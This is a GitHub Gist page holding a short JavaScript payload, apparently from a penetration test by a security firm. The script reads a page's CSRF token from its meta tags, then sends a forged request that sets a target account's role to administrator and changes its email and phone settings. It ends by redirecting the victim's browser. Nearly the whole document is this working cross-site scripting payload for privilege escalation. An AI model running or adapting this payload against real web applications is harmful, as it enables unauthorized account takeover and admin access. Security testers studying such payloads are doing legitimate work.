Skip to content

Instantly share code, notes, and snippets.

@veverkap
Last active August 24, 2016 19:54
Show Gist options
  • Save veverkap/4d639ce9565ffde4b8626858cbfe54b1 to your computer and use it in GitHub Desktop.
Save veverkap/4d639ce9565ffde4b8626858cbfe54b1 to your computer and use it in GitHub Desktop.
var xmlhttp = new XMLHttpRequest();
var meta = parent.document.getElementsByTagName('meta');
var account = "/account/targets/6558564-user01-last01";
for (i=0; i<meta.length; i++) {
console.log(meta);
if (meta[i].getAttribute("name") == "csrf-token") {
var csrfToken = meta[i].getAttribute("content");
console.log(csrfToken);
//update this users account to role_id 3 (Admin)
xmlhttp.open("POST",account,true);
//send the csrf token in a request header
xmlhttp.setRequestHeader("X-CSRF-Token", csrfToken);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
xmlhttp.send("utf8=%E2%9C%93&_method=put&authenticity_token="+encodeURI(csrfToken)+"&user%5Bfirst_name%5D=First&user%5Blast_name%5D=Last&user%5Brole_id%5D=3&user%5Benabled%5D=true&user%5Bemail%5D=user%40stratumsecurity.com&user_mobile_phone%5Bcountry%5D=US&user_mobile_phone%5Bphone_number%5D=2024556339&user_mobile_phone%5Baccepts_sms%5D=0&user_mobile_phone%5Baccepts_sms%5D=1&user_mobile_phone%5Baccepts_calls%5D=0&user_mobile_phone%5Baccepts_calls%5D=1&commit=Update+User");
}
}
confirm("We tried to update: " + account + " using " + csrfToken);
//redirect the user
window.location.replace("/account/users/1155-first-last");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment